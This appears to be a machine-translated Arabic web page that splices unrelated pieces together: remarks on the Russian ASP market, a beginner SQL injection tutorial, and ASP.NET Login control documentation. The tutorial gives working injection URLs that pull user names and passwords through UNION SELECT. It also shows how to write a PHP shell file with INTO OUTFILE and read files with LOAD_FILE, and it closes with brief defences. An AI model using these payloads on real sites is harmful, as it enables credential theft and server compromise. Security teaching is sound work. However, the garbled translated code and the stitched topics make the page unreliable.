قائمة طعام
مجاني
التسجيل
الصفحة الرئيسية  /  التثبيت والتكوين/ حقن SQL الأساسي في تطبيقات SQL. دليل للدمى

الحقن الأساسي لـ SQL في تطبيقات SQL. دليل للدمى

في الوقت الحالي ، لا يمكن المجادلة بأن سوق ASP كامل قد تشكل في روسيا. لا يزال غالبية المستخدمين الروس لا يرون أن مفهوم ASP مفيد لأعمالهم. حاليا (في وقت إعداد المقال) في السوق الروسيلا يوجد مثال واحد ناجح لتطبيق ASP واسع النطاق في مؤسسة كبيرة. في الواقع ، لا يوجد سوى استضافة ، وعناصر منفذة منفصلة من نموذج ASP ، والشركات التي ترغب في الانخراط في أعمال ASP ، وما إلى ذلك ، أي أنه لا يوجد تنفيذ لنموذج ASP الكلاسيكي في روسيا حتى الآن.

الآن في السوق الروسية ، ينطبق نموذج ASP فقط على خدمات البريد المخصصة (Mail.ru ، Beep.ru ، Freemail.ru ، إلخ) والخدمات المتخصصة عالية التقنية (على سبيل المثال ، لافتة ومحركات البحث ، الإنترنت أنظمة الإحصاء ، إلخ) ... في الوقت نفسه ، لا يعني تأجير الخدمات البريدية ببساطة توفير صندوق بريد شخصي لكل مستخدم على حدة. شحن مجاني خوادم البريدتستخدم على نطاق واسع في قطاع الشركات من قبل الشركات الصغيرة ورجال الأعمال من القطاع الخاص. العملاء الرئيسيون لهذه الخدمات هم الشركات التي ترغب في تنظيم خدمة بريد الشركات (أو أتمتة تدفق مستندات الشركة) أو مزودي الإنترنت (على سبيل المثال ، بوابات Rambler.ru ، Yandex.ru ، وما إلى ذلك) ، التي ترغب في تنظيم بريد إلكتروني مجاني خدمة لجمهورهم.

هناك اهتمام معين لدى المستخدمين الروس باستئجار متاجر إلكترونية (عروض على منصة تداول إلكترونية). وهذا أمر مفهوم. نظرًا لأنه لا يزال هناك عدد قليل جدًا من الأمثلة الناجحة للتداول عبر الإنترنت في روسيا (على الرغم من التصريحات الصاخبة لعدد من الشركات حول إنجازاتهم الرائعة) ، يبدو من المعقول أن تنفق مبلغًا أقل من المال على استئجار متجر إلكتروني (من شرائه وصيانته). في حالة فشل المشروع ، يمكن إغلاقه بسرعة كافية ودون خسائر كبيرة. تأجير تطبيقات تخطيط موارد المؤسسات (ERP) ، المنتشر في الغرب ، هو الآن في روسيا فقط في مرحلة المشاريع التجريبية.

من بين التطبيقات المعروضة للإيجار ، يمكن للمرء أن يلاحظ كلاً من مجموعات المكاتب البسيطة نسبيًا (مثل MS Office) والتطبيقات الأكثر تعقيدًا (مثل Lotus Smart Suite) ، وكذلك أنظمة تخطيط موارد المؤسسات (مثل Navision Axapta).

المشاكل والميزات الرئيسية لسوق ASP الروسي.

10.2 مشاكل في السوق الروسية.

حاليًا ، يتخلف سوق ASP الروسي عن سوق ASP العالمية لعدة سنوات على الأقل. يعود سبب الحالة البدائية لسوق آسيا والمحيط الهادئ إلى عدد من المشاكل القائمة. أهم هذه المشاكل هي:

1. التخلف العام للاقتصاد الروسي عن الاقتصاد الغربي وتخلف البنية التحتية التقنية للمؤسسات. حتى الآن ، تعمل معظم الشركات الروسية على البنية التحتية التقنية التي تم إنشاؤها منذ عقود. في الوقت الحاضر ، لا تزال استثمارات الشركات في تحديثها غير كافية. وهنا تكمن المشكلة في الأولويات المالية للمؤسسات منذ ذلك الحين لا يستطيع كل منهم استثمار الأموال اللازمة في تحديث البنية التحتية التقنية. لذلك ، عليهم حل مشاكلهم الحالية على حساب البنية التحتية القائمة.

2. انخفاض الطلب على خدمات ASP. السكان والعملاء من الشركات ليسوا مستعدين (في الغالب) للدفع مقابل خدمات ASP. إذا كان هناك الآن ببساطة أولويات أكثر إلحاحًا وحيوية في الإنفاق بالنسبة للمستهلك الروسي العادي ، فإن مستخدمي الشركات لا يأخذون خدمات ASP على محمل الجد حتى الآن.

3. ضعف الإطار القانوني للسوق الإلكتروني. حتى يتم اعتماد مجموعة كاملة من القوانين ، ليست هناك حاجة للحديث عن تطوير السوق الإلكترونية (بما في ذلك ASP).

4. إقفال البيانات المالية للعملاء من الشركات (خاصة الشركات الأكثر قدرة على الوفاء بالالتزامات).

5) مقاومة تكنولوجيا المعلومات (صريحة وضمنية) الشركات الكبيرةالذين يتعين عليهم إعادة توجيه أنفسهم إلى مهام أخرى ، وخفض ميزانيات الموظفين وتكنولوجيا المعلومات ، وما إلى ذلك.

6. عدد قليل من التطبيقات التي يمكن استخدامها في نموذج ASP للشركات الروسية.

7. وجود عدد كبير بدرجة كافية من المتخصصين في تكنولوجيا المعلومات من مستوى الدخول والمتوسط ​​برواتب منخفضة نسبيًا في سوق العمل الروسي. بعد أزمة عام 1998 ، ظلت الغالبية العظمى من رواتب متخصصي تكنولوجيا المعلومات على نفس مستوى ما بعد الأزمة. في بعض الأحيان يكون من الأرخص للشركات الصغيرة والمتوسطة الحجم أن تحافظ على خدمات تكنولوجيا المعلومات الخاصة بها بدلاً من الدفع مقابل خدمات ASP (على عكس الشركات الغربية ، حيث يكون الوضع عكس ذلك تمامًا).

تحياتي أيها القارئ. في الآونة الأخيرة ، كنت مهتمًا بأمان الويب ، ويرتبط عملي بهذا إلى حد ما. لأن بدأت بشكل متزايد في ملاحظة الموضوعات في مختلف المنتديات ، مع طلب لإظهار كيف يعمل كل شيء ، قررت كتابة مقال. سيتم تصميم المقالة لأولئك الذين لم يصادفوا شيئًا مشابهًا ، لكنهم يرغبون في التعلم. يوجد عدد كبير نسبيًا من المقالات حول هذا الموضوع على الإنترنت ، ولكن بالنسبة للمبتدئين ، فهي معقدة بعض الشيء. سأحاول وصف كل شيء بلغة واضحة وأمثلة مفصلة.

مقدمة

لفهم هذا المقال ، لا تحتاج حقًا إلى معرفة لغة SQL ، ولكن على الأقل الصبر الجيد وقليل من العقل للحفظ.

أعتقد أن قراءة واحدة للمقال لن تكون كافية لأن نحن بحاجة إلى أمثلة حية - كما تعلم ، فإن الممارسة ، في عملية الحفظ ، لا لزوم لها أبدًا. لذلك ، سوف نكتب نصوصًا ضعيفة وندرب عليها.

ما هو حقن SQL؟
بعبارات بسيطة ، يعد هذا هجومًا على قاعدة البيانات ، مما سيسمح لك بتنفيذ بعض الإجراءات التي لم يخطط لها منشئ البرنامج النصي. مثال من الحياة الواقعية:

الأب ، كتب في مذكرة لأمي لإعطاء فاسيا 100 روبل ووضعها على الطاولة. إعادة تدوير هذا إلى لغة SQL مزحة ، نحصل على:
أزل 100 روبل من المحفظة وأعطها لفاسيا

منذ أن كتب الأب المذكرة بشكل سيئ (خط Gnarled) ، وتركها على الطاولة ، رآها شقيق Vasya ، Petya. قامت بيتيا ، بصفتها مخترقًا ، بإضافة "OR Petya" هناك وصدر الطلب التالي:
احصل على 100 روبل من المحفظة وأعطها لفاسيا أو بيتيا

أمي ، بعد قراءة المذكرة ، قررت أنها أعطت Vasya المال أمس وأعطت 100 روبل لبيت. هذا مثال بسيط حقن SQLمن الحياة :) بدون تصفية البيانات (بالكاد تمكنت أمي من كتابة خط اليد) ، حققت بيتيا ربحًا.

تحضير
للتدريب ، ستحتاج إلى أرشيف يحتوي على البرامج النصية المصدر لهذه المقالة. قم بتنزيله وفك ضغطه على الخادم. قم أيضًا باستيراد قاعدة البيانات وتعيين البيانات في الملف cfg.php

بحث حقن SQL

كما فهمت بالفعل ، يظهر الحقن من البيانات الواردة ، والتي لم تتم تصفيتها. الخطأ الأكثر شيوعًا هو عدم تصفية المعرف الذي تم تمريره. حسنًا ، تقريبًا ، اقتباسات بديلة في جميع المجالات. سواء كان ذلك طلب GET / POST أو حتى ملف تعريف ارتباط!

معلمة إدخال رقمية
للممارسة ، نحن بحاجة إلى سيناريو index1.php... كما قلت أعلاه ، فإننا نستبدل علامات الاقتباس في معرف الأخبار.

لأن طلبنا لا يوجد لديه تصفية:

$ id = $ _GET ["id"] ؛ الاستعلام $ = "حدد * من الأخبار حيث المعرف = $ id" ؛

سوف يفهم البرنامج النصي هذا على أنه

حدد * من الأخبار حيث المعرف = 1 "

وسوف يعطينا خطأ:
تحذير: يتوقع mysql_fetch_array () أن تكون المعلمة 1 موردًا ، قيمة منطقية معطاة في C: \ WebServ \ domains \ sqlinj \ index1.php في السطر 16

إذا لم يتم إرجاع الخطأ ، فقد تكون هناك الأسباب التالية:

1.إدخال SQL غير موجود هنا - تمت تصفية الاقتباسات ، أم أن الأمر يستحق التحويل إليه فقط (كثافة العمليات)
2. إخراج خطأ معطل.

إذا استمر ظهور الخطأ - يا هلا! وجدنا النوع الأول من حقن SQL - معلمة الإدخال الرقمية.

معلمة إدخال السلسلة

سوف نرسل طلبات إلى index2.php... الخامس هذا الملف، يبدو الطلب كما يلي:
$ user = $ _GET ["المستخدم"] ؛ الاستعلام $ = "SELECT * FROM news WHERE user =" $ user ""؛

هنا نختار الأخبار حسب اسم المستخدم ، ومرة ​​أخرى ، لا نقوم بالتصفية.
مرة أخرى ، نرسل طلبًا مع عرض أسعار:

ألقى خطأ. نعم! لذلك هناك نقطة ضعف. كبداية ، هذا كافٍ بالنسبة لنا - دعنا نبدأ في التدريب.

ابدء

قليلا من النظرية

ربما لا يمكنك الانتظار للحصول على شيء من هذا ، باستثناء الأخطاء. أولاً ، افهم أن العلامة " -- يعتبر "تعليقًا في SQL.

الانتباه! يجب أن تكون هناك مسافات قبلها وبعدها. في عنوان URL ، يتم تمريرها كـ %20

سيتم تجاهل كل ما يأتي بعد التعليق ، أي الطلب:
حدد * من الأخبار حيث المستخدم = "AlexanderPHP" - habrahabra

سوف تنجح. يمكنك تجربة ذلك في البرنامج النصي index2.php بإرسال طلب مثل هذا:

Sqlinj / index2.php؟ المستخدم = AlexanderPHP "٪ 20 -٪ 20habrahabr

تعلم المعلمة اتحاد... بلغة SQL كلمة رئيسية اتحاديستخدم لدمج نتائج استعلامين SQL في جدول واحد. أي لسحب شيء نحتاجه من طاولة أخرى.

الاستفادة منه

إذا كانت المعلمة "رقمية" ، فلن نحتاج في الطلب إلى إرسال عرض أسعار ووضع تعليق بشكل طبيعي في النهاية. دعنا نعود إلى النص index1.php.

لنلقِ نظرة على البرنامج النصي sqlinj / index1.php؟ Id = 1 UNION SELECT 1. نحصل على استعلام إلى قاعدة البيانات مثل هذا:
حدد * من الأخبار حيث المعرف = 1 UNION SELECT 1
وقد أخطأنا لأن للعمل مع تجميع الاستعلامات ، نحتاج إلى نفس عدد الحقول.

لأن لا يمكننا التأثير على رقمهم في الطلب الأول ، ثم نحتاج إلى تحديد رقمهم في الطلب الثاني بحيث يساوي الأول.

اختيار عدد الحقول

اختيار الحقول بسيط للغاية ، ما عليك سوى إرسال الطلبات التالية:
sqlinj / index1.php؟ id = 1 UNION SELECT 1،2
خطأ…
sqlinj / index1.php؟ id = 1 UNION SELECT 1،2،3
خطأ مرة أخرى!
sqlinj / index1.php؟ id = 1 UNION SELECT 1،2،3،4،5
ليس هناك خطأ! إذن عدد الأعمدة هو 5.

مجموعة من
يحدث غالبًا أنه يمكن أن يكون هناك 20 أو 40 أو حتى 60 حقلاً. ولكي لا نكررها في كل مرة ، نستخدم مجموعة من

إذا كان الطلب
sqlinj / index1.php؟ id = 1 مجموعة حسب 2
لم تقدم أية أخطاء ، لذا فإن عدد الحقول أكبر من 2. جرب:

Sqlinj / index1.php؟ المعرف = 1 مجموعة من 8
عفوًا ، نرى خطأً ، لذا فإن عدد الحقول أقل من 8.

إذا لم يكن هناك خطأ في GROUP BY 4 ، وخطأ في GROUP BY 6 ، فإن عدد الحقول هو 5

تحديد الأعمدة المراد عرضها
لضمان عدم عرض أي شيء لنا من الطلب الأول ، يكفي استبدال معرف غير موجود ، على سبيل المثال:

Sqlinj / index1.php؟ المعرف = -1 UNION SELECT 1،2،3،4،5


من خلال هذا الإجراء ، حددنا الأعمدة التي يتم عرضها على الصفحة. الآن ، لاستبدال هذه الأرقام بالمعلومات المطلوبة ، عليك متابعة الطلب.

إخراج البيانات

لنفترض أننا نعلم أن الجدول لا يزال موجودًا المستخدمينفي أي المجالات توجد هوية شخصية, اسمو يمر.
نحتاج إلى الحصول على معلومات حول المستخدم بالمعرف = 1

لذلك ، دعونا نبني استعلامًا مثل هذا:

Sqlinj / index1.php؟ Id = -1 UNION SELECT 1،2،3،4،5 من المستخدمين حيث المعرف = 1
يستمر البرنامج النصي أيضًا في الإخراج

للقيام بذلك ، سنقوم باستبدال اسم الحقول بمكان الرقمين 1 و 3

Sqlinj / index1.php؟ المعرف = -1 اسم UNION SELECT ، 2 ، اجتياز ، 4،5 من المستخدمين حيث المعرف = 1
حصلنا على ما هو مطلوب!

بالنسبة إلى "معلمة إدخال السلسلة" ، كما في البرنامج النصي index2.phpتحتاج إلى إضافة علامة اقتباس في البداية وعلامة تعليق في النهاية. مثال:
sqlinj / index2.php؟ user = -1 "UNION SELECT name، 2، pass، 4،5 من المستخدمين حيث المعرف = 1 -٪ 20

قراءة / كتابة الملفات

لقراءة الملفات وكتابتها ، يجب أن يمتلك مستخدم قاعدة البيانات حقوق FILE_PRIV.
تسجيل ملف
في الواقع ، كل شيء بسيط للغاية. لكتابة ملف ، سنستخدم الوظيفة النفقة.
sqlinj / index2.php؟ user = -1 "UNION SELECT 1،2،3،4،5 INTO OUTFILE" 1.php "-٪ 20
رائع ، لقد تم تسجيل الملف معنا. وبالتالي ، يمكننا ملء الغلاف الصغير:
sqlinj / index2.php؟ user = -1 "UNION SELECT 1،""، 3،4،5 في الخارج" 1.php "-٪ 20
قراءة الملفات
قراءة الملفات أسهل من الكتابة. من السهل استخدام الوظيفة تحميل الملف، عن مكان الحقل الذي نختاره:

Sqlinj / index2.php؟ User = -1 "UNION SELECT 1، LOAD_FILE (" 1.php ")، 3،4،5 -٪ 20

وهكذا ، قرأنا الملف المسجل السابق.

طرق الحماية

من الأسهل الدفاع عنها بدلاً من استغلال ثغرة أمنية. فقط قم بتصفية البيانات. إذا كنت تقوم بتمرير الأرقام ، فاستخدم
$ id = (int) $ _GET ["id"] ؛
على النحو الذي اقترحه المستخدم سوء المعاملة. محمي باستخدام PDO أو البيانات المعدة.

بدلا من الانتهاء

هذا هو المكان الذي أريد إنهاء الجزء الأول منه حول " حقن SQLللمبتدئين ". في الثانية ، سنلقي نظرة على أمثلة الحقن الأثقل. حاول كتابة نصوص ضعيفة وتنفيذ الاستعلامات بنفسك.
وتذكر ، لا تثق في أي مستخدم لموقعك.

العلامات: إضافة العلامات

مراقبة تسجيل الدخول

يسهّل عنصر التحكم في تسجيل الدخول إنشاء صفحة تسجيل دخول لمصادقة النماذج جنبًا إلى جنب مع واجهة برمجة تطبيقات العضوية. يوفر جاهزًا للاستخدام واجهة المستخدميطالبك بإدخال اسم المستخدم وكلمة المرور ويطالب بزر لتسجيل دخول المستخدم. وراء الكواليس ، يقوم بتلخيص الوظائف التي تم وصفها في مقال سابق: التحقق من هويات المستخدم من خلال واجهة برمجة تطبيقات العضوية وتغليف وظائف المصادقة الأساسية المستندة إلى النماذج مثل إعادة التوجيه إلى الصفحة المطلوبة في الأصل في منطقة تطبيق آمنة بعد تسجيل دخول ناجح.

هذا يعني أن تسجيل الدخول يغلف أشياء مثل Membership.ValidateUser () أو FormsAuthentication.RedirectFromLoginPage () ، لذلك لا يتعين عليك كتابة هذا الرمز بنفسك. يوضح الشكل أدناه التحكم في تسجيل الدخول قيد التنفيذ:

عندما ينقر المستخدم فوق الزر تسجيل الدخول ، يتحقق عنصر التحكم تلقائيًا من اسم المستخدم وكلمة المرور باستخدام وظيفة Membership.ValidateUser () ، ثم يستدعي FormsAuthenication.RedirectFromLoginPage () إذا نجح التحقق. تؤثر جميع خيارات التحكم في تسجيل الدخول على الإدخال الذي يقدمه لهذه الطرق. على سبيل المثال ، إذا حددت مربع الاختيار تذكرني في المرة القادمة ، فسيتم تمريره صحيحًا في معلمة createPersistentCookie من طريقة RedirectFromLoginPage (). لذلك ، يُنشئ FormsAuthenticationModule ملف تعريف ارتباط دائم.

تسجيل الدخول وراء الكواليس هو عنصر تحكم مركب ASP.NET. إنه قابل للتوسيع بالكامل - بمعنى أنه يسمح لك بتجاوز أي أنماط وخصائص تخطيط ، بالإضافة إلى اعتراض الأحداث التي تم إنشاؤها لتجاوز سلوكها الافتراضي. إذا تركت عنصر التحكم دون تغيير ، ولم تلتقط أي أحداث ، فسيستخدم تلقائيًا موفر العضوية الذي تم تكوينه للتطبيق.

يبدو أبسط شكل من أشكال التحكم في تسجيل الدخول على الصفحة كما يلي:

يتم توفير العديد من الخصائص لتغيير مظهر عنصر تحكم تسجيل الدخول. يمكنك تطبيق إعدادات نمط مختلفة كما هو موضح أدناه:

بالإضافة إلى ذلك ، يمكنك استخدام فئات CSS لتخصيص مظهر تسجيل الدخول. تتضمن كل خاصية نمط يدعمها عنصر تحكم تسجيل الدخول خاصية CssClass. كما هو الحال مع أي عنصر تحكم ASP.NET ، تتيح لك هذه الخاصية تحديد اسم فئة CSS التي تمت إضافتها مسبقًا إلى موقع الويب. لنفترض أنك أضفت ورقة أنماط CSS التالية إلى مشروعك باسم الملف MyStyles.css:

MyLoginTextBoxStyle (المؤشر: المؤشر ؛ لون الخلفية: أصفر ؛ محاذاة النص: المركز ؛ الحشو: 6 بكسل ؛ الحد: أسود منقط ؛ عائلة الخطوط: Verdana ؛ المحاذاة الرأسية: الوسط ؛). تسجيل الدخول (العرض: كتلة مضمنة ؛) . العنوان (المساحة المتروكة: 6 بكسل ؛)

يمكن تضمين ملف النمط هذا في صفحة تسجيل الدخول لتتمكن من تصميم عنصر تسجيل الدخول:

يسرد الجدول التالي الأنماط التي يدعمها عنصر تحكم تسجيل الدخول. كل نمط يعمل بنفس الطريقة. يمكن تعيين خصائص الخط واللون مباشرةً ، أو يمكنك استخدام خاصية CssClass لتحديد فئة CSS المطلوبة:

الأنماط التي يدعمها التحكم في تسجيل الدخول
أسلوب وصف
CheckBoxStyle

يحدد خصائص النمط لمربع الاختيار تذكرني في المرة القادمة

نمط الفشل

يحدد نمط النص الذي يتم عرضه في حالة تسجيل الدخول غير الناجح

HyperLinkStyle

يتيح لك عنصر التحكم في تسجيل الدخول تحديد عدة أنواع من الارتباطات التشعبية ، على سبيل المثال ، لصفحة التسجيل الأولية. يحدد هذا النمط مظهر هذه الارتباطات التشعبية.

التعليمات

يسمح لك عنصر التحكم في تسجيل الدخول بتحديد نص التعليمات ليتم عرضه مباشرة داخل نفسه. هذا النمط يحدد مظهر هذا النص.

التسمية

يحدد نمط تسميات اسم المستخدم وكلمة المرور

تسجيل الدخول

يحدد نمط زر تسجيل الدخول

TextBoxStyle

يحدد النمط لحقول النص "اسم المستخدم" و "كلمة المرور"

TitleTextStyle

يحدد نمط نص العنوان لعنصر تحكم تسجيل الدخول

ValidatorTextStyle

يحدد أنماط عناصر التحكم المستخدمة للتحقق من صحة اسم المستخدم وكلمة المرور

واجهة مستخدم عنصر تسجيل الدخول قابلة للتخصيص من خلال أكثر من مجرد هذه الأنماط ؛ تستهدف الخصائص الإضافية الأخرى أجزاءً محددة من محتوى عنصر التحكم ، مثل زر تسجيل الدخول ، والذي يسمح لك أيضًا بتخصيص الواجهة الرسومية.

على سبيل المثال ، يمكنك اختيار النص المعروض على زر تسجيل الدخول ، أو حتى عرض ارتباط تشعبي بدلاً من هذا الزر (كما هو محدد افتراضيًا). علاوة على ذلك ، يمكنك إضافة ارتباطات تشعبية متعددة إلى عنصر التحكم في تسجيل الدخول ، مثل ارتباط إلى صفحة تعليمات أو صفحة تسجيل. يجب أن تكون كلتا الصفحتين مفتوحتين للوصول المجهول لأنه يجب أيضًا تقديم المساعدة للمستخدمين المجهولين (تذكر أنه إذا رأى شخص ما عنصر التحكم في تسجيل الدخول ، فمن المحتمل أن يكون مستخدمًا مجهولاً). لتضمين روابط إضافية في تسجيل الدخول ، قم بتعديل التعريف الموضح سابقًا على النحو التالي:

...

يعرض هذا الرمز رابطين إضافيين ، أحدهما إلى صفحة المساعدة والآخر لصفحة التسجيل الأولية ، ويضيف نص تعليمات قصيرًا تحت عنوان عنصر تسجيل الدخول:

تنطبق الأنماط الموصوفة سابقًا على هذه الخصائص أيضًا. يصف الجدول أدناه الخصائص المهمة لتخصيص التحكم في تسجيل الدخول:

خصائص مهمة لتخصيص التحكم في تسجيل الدخول
ملكية وصف
رسالة نصية
العنوان

النص المعروض في عنوان عنصر التحكم

نص التعليمات

تم استخدام هذه الخاصية بالفعل في مقتطف الشفرة السابق. يحتوي على النص المعروض أسفل عنوان عنصر التحكم

فشل النص

النص المعروض بواسطة عنصر تحكم تسجيل الدخول إذا فشلت محاولة تسجيل الدخول

UserNameLabelText

النص المعروض كتسمية قبل حقل نص اسم المستخدم

PasswordLabelText

يتم عرض النص كتسمية قبل حقل نص كلمة مرور المستخدم

اسم االمستخدم

القيمة الأولية التي تملأ مربع نص اسم المستخدم

UsernameRequiredErrorMessage

تظهر رسالة خطأ إذا لم يقم المستخدم بإدخال اسم

PasswordRequiredErrorMessage

تظهر رسالة خطأ إذا لم يقم المستخدم بإدخال كلمة مرور

زر تسجيل الدخول
تسجيل الدخول

النص المعروض على زر تسجيل الدخول

تسجيل الدخول
تسجيل الدخول

إذا تم تقديم زر تسجيل الدخول كصورة رسومية ، فيجب عليك تحديد عنوان URL حيث توجد هذه الصورة

صفحة تسجيل الدخول
DestinationPageUrl

إذا نجحت محاولة تسجيل الدخول ، فإن عنصر التحكم في تسجيل الدخول يعيد توجيه المستخدم إلى هذه الصفحة. هذه الخاصية فارغة بشكل افتراضي. يستخدم فارغ Forms Authentication Framework لإعادة التوجيه إما إلى الصفحة الأصلية المطلوبة أو إلى عنوان URL الافتراضي الذي تم تكوينه في web.config لمصادقة النماذج

FailureAction

يحدد الإجراء الذي يتخذه عنصر التحكم بعد محاولة تسجيل دخول غير ناجحة. خياران صالحان هما Refresh و RedirectToLoginPage. تعمل القيمة الأولى على تحديث الصفحة الحالية فقط ، بينما تقوم القيمة الثانية بإعادة التوجيه إلى صفحة تسجيل الدخول التي تمت تهيئتها. يكون الخيار الثاني مفيدًا إذا تم استخدام عنصر التحكم في تسجيل الدخول في مكان آخر غير صفحة تسجيل الدخول

VisibleWhenLoggedIn

إذا تم التعيين على "خطأ" ، فسيخفي عنصر التحكم نفسه تلقائيًا إذا كان المستخدم قد قام بتسجيل الدخول بالفعل. إذا تم الضبط على "صحيح" (الافتراضي) ، فسيتم عرض عنصر تسجيل الدخول حتى إذا قام المستخدم بتسجيل الدخول

تكوين تسمية تذكرني
DisplayRememberMe

إظهار أو إخفاء خانة الاختيار تذكرني في المرة القادمة. بشكل افتراضي ، يتم تعيين هذه الخاصية على "صحيح"

تذكر MeSet

تحدد القيمة الافتراضية لخانة الاختيار تذكرني في المرة القادمة. بشكل افتراضي ، يتم تعيين هذه الخاصية على خطأ ، أي لم يتم تحديد خانة الاختيار

صفحة التسجيل
CreateUserUrl

يحدد ارتباطًا تشعبيًا لصفحة على موقع ويب يسمح لك بإنشاء (تسجيل) مستخدم. وبالتالي ، يتم استخدامه بشكل شائع لمنح المستخدم الوصول إلى صفحة التسجيل الأولية. يعرض هذا عادةً عنصر التحكم CreateUserWizard.

CreateUserText
CreateUserIconUrl

عنوان URL للصورة الرسومية المعروضة مع نص الارتباط التشعبي الخاص بـ CreateUserUrl

صفحة المساعدة
HelpPageUrl

URL لإعادة توجيه المستخدم إلى صفحة المساعدة

HelpPageText
تعليمات

عنوان URL للرمز المعروض مع نص الارتباط التشعبي HelpPageUrl

صفحة استعادة كلمة المرور
PasswordRecoveryUrl

URL لإعادة توجيه المستخدم إلى صفحة استعادة كلمة المرور. يتم تطبيق هذه الصفحة عندما ينسى المستخدم كلمة المرور الخاصة به. يعرض عادةً عنصر تحكم PasswordRecovery

PasswordRecoveryText
PasswordRecoveryIconUrl

عنوان URL للرمز المعروض مع نص الارتباط التشعبي PasswordRecoveryUrl

قوالب تسجيل الدخول والتحكم

كما ترى ، كل هذه الخصائص تجعل التحكم في تسجيل الدخول مرنًا للغاية. ولكن كما لاحظت على الأرجح ، من المستحيل تحديد أي تعبير للتحقق من صحة الإدخال. من الممكن بالطبع تنفيذ التحقق من جانب الخادم داخل إجراءات الحدث التي يوفرها التحكم في تسجيل الدخول. عندما تحتاج إلى إضافة بعض العناصر إلى عنصر التحكم المركب لتسجيل الدخول ، لا يمكن القيام بذلك من خلال الخصائص المعروضة أعلاه. على سبيل المثال ، ماذا لو احتجت إلى مربع نص ثانٍ للمصادقة القوية بكلمة مرور ثانية أو مفتاح مرور مخصص ، كما تفعل بعض المواقع الحكومية؟

لحسن الحظ ، مثل عناصر التحكم الأخرى مثل GridView ، يدعم عنصر التحكم في تسجيل الدخول القوالب. باستخدام القوالب ، يمكنك تخصيص محتوى عنصر التحكم في تسجيل الدخول دون أي قيود. يمكن إضافة أي ضوابط جديدة إليها. يطبق قالبًا مخصصًا على عنصر تحكم تسجيل الدخول باستخدام مقبض نموذج:

تسجيل الدخول

اسم المستخدم:
كلمه السر:


بالنظر إلى الكود أعلاه ، يظهر سؤال واحد: إذا كان عليك كتابة الكثير من كود واجهة المستخدم (أو تصميمه في مصمم مرئي) عند إعداد قالب ، فلماذا لا تكتب صفحة تسجيل الدخول الخاصة بك دون استخدام عنصر التحكم في تسجيل الدخول؟

هذا هو السؤال الصحيح. ومع ذلك ، كما أوضحنا سابقًا ، فإن الواجهة الأمامية هي جزء واحد فقط من عنصر تسجيل الدخول. على سبيل المثال ، في حالة قيام المستخدم بالنقر فوق زر تسجيل الدخول ، فإن عنصر التحكم في تسجيل الدخول يحتوي بالفعل على كل الكود اللازم للتحقق تلقائيًا من صحة المستخدم مقابل مخزن العضوية وإعادة توجيهه إلى الصفحة الأصلية المطلوبة من خلال إطار عمل مصادقة النماذج. لذلك تم حفظك بالتأكيد من الاضطرار إلى كتابة هذا الرمز.

باستخدام عناصر التحكم الصحيحة وقيم المعرف الصحيحة لعناصر التحكم هذه ، لن تحتاج إلى كتابة رمز معالجة الأحداث. يعمل الرمز بالطريقة المعتادة ، باستثناء أنك تحدد مجموعة من عناصر التحكم وتخطيطها. في الواقع ، يتطلب عنصر التحكم في تسجيل الدخول حقلين نصيين على الأقل ، اسم المستخدم وكلمة المرور. إذا كان هذان الحقلان النصيان مفقودان (أو كان لهما قيم معرفات مختلفة) ، فسيقوم تسجيل الدخول بطرح استثناء. جميع عناصر التحكم الأخرى اختيارية ، ولكن إذا قمت بتوفير قيمة معرف مناسبة (مثل تسجيل الدخول لزر تسجيل الدخول) ، فسيقوم تسجيل الدخول تلقائيًا بمعالجة أحداثهم ويتصرف كما لو تم تطبيق التخطيط الافتراضي.

يسرد الجدول أدناه القيم الخاصة للمعرفات وأنواع العناصر المطلوبة لها والعلامة الإلزامية:

يمكن أن يكون عنصر التحكم باستخدام معرف تسجيل الدخول أي شيء يدعم انتشار الفقاعة وخاصية CommandName. من المهم تعيين خاصية CommandName لهذا العنصر على تسجيل الدخول ، منذ ذلك الحين وإلا فلن يتعرف عليه عنصر التحكم في تسجيل الدخول أثناء معالجة الحدث. إذا لم تقم بإضافة عنصر تحكم مع تعيين الخاصية CommandName إلى تسجيل الدخول ، فسيتعين عليك التعامل مع الأحداث بنفسك وكتابة الرمز المناسب للتحقق من صحة اسم المستخدم وكلمة المرور وإعادة التوجيه إلى الصفحة الأصلية المطلوبة.

يمكنك أيضًا إضافة عناصر تحكم بمعرفات أخرى لا علاقة لها بتسجيل الدخول على الإطلاق. استخدم الرمز أعلاه عنصري RequiredFieldValidator و RegularExpressionValidator للتحقق من حقلي اسم المستخدم وكلمة المرور.

عند استخدام LayoutTemplate ، لم تعد العديد من الخصائص الأصلية لعنصر التحكم متوفرة. عند تطبيق قالب ، تظل الخصائص التالية فقط متاحة:

    DestinationPageUrl

    VisibleWhenLoggedIn

  • العضويةالموفر

لم تعد جميع خصائص النمط وبعض الخصائص لتخصيص محتوى نص العناصر افتراضيًا متوفرة في Visual Studio Property Editor لأنه يمكن إضافتها يدويًا كعناصر تحكم منفصلة أو نص ثابت إلى قالب عنصر تسجيل الدخول. إذا قمت بإضافتها إلى عنصر تسجيل الدخول في وضع القالب ، فسيتم تجاهلها ببساطة ، لأن القالب يتجاوز الواجهة الافتراضية لعنصر تسجيل الدخول ، والتي تستفيد من هذه الخصائص.

برمجة التحكم في تسجيل الدخول

يدعم عنصر التحكم في تسجيل الدخول العديد من الأحداث والخصائص التي يمكنك استخدامها لتخصيص سلوكه. إنها توفر تحكمًا كاملاً في الضبط الدقيق لعنصر التحكم في تسجيل الدخول (جنبًا إلى جنب مع أدوات التخصيص الأخرى مثل القوالب وخصائص النمط). يدعم عنصر التحكم في تسجيل الدخول الأحداث المدرجة في الجدول أدناه:

أحداث التحكم في تسجيل الدخول
حدث وصف
تسجيل الدخول

بدأ قبل مصادقة المستخدم مباشرة بواسطة عنصر التحكم

تسجيل الدخول

تم التشغيل بعد مصادقة المستخدم بواسطة عنصر التحكم

خطأ في تسجيل الدخول

يتم تشغيله عندما يفشل المستخدم في تسجيل الدخول لأي سبب (على سبيل المثال ، كلمة مرور أو اسم مستخدم غير صحيحين)

المصادقة

تم تشغيله لمصادقة المستخدم. إذا كنت تتعامل مع هذا الحدث ، فيجب عليك مصادقة المستخدم بنفسك وسيعتمد عنصر التحكم في تسجيل الدخول بالكامل على رمز المصادقة الخاص بك.

يمكن معالجة الأحداث الثلاثة الأولى لتنفيذ بعض الإجراءات قبل مصادقة المستخدم وبعد المصادقة وفي حالة حدوث خطأ أثناء المصادقة. على سبيل المثال ، يمكن استخدام حدث LoginError لإعادة توجيه المستخدم تلقائيًا إلى صفحة استعادة كلمة المرور بعد عدد معين من محاولات تسجيل الدخول ، كما هو موضح أدناه:

